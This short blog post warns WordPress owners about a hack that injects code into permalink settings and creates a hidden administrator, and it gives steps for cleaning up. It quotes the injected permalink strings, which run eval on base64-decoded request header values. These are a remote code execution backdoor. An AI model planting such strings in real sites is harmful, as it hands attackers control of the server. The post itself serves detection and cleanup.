If you use wordpress, you should check ASAP your blog’s permalinks/rss feed.
If they are broken and look like this
%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/
or
“/%&(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_EXECCODE%5D))%7D%7D|.+)&%
or
‘error on line 22 at column 71: xmlParseEntityRef: no name wordpress’ for your feed
then you are the victim of the new hack attempt targeting our blogs.

To fix things:
- go to Setting->Permalinks and delete the above mean code
- go to users, you will notice there are more administrators than usual
Put your mouse over the users and find the one that is last to register like this
1
Right click and copy the edit url, then paste it into the address bar. Also increase the number by 1.
You should find the hidden admin with a weird code as a first name. Delete the code and make him a subscriber then return to users and delete him.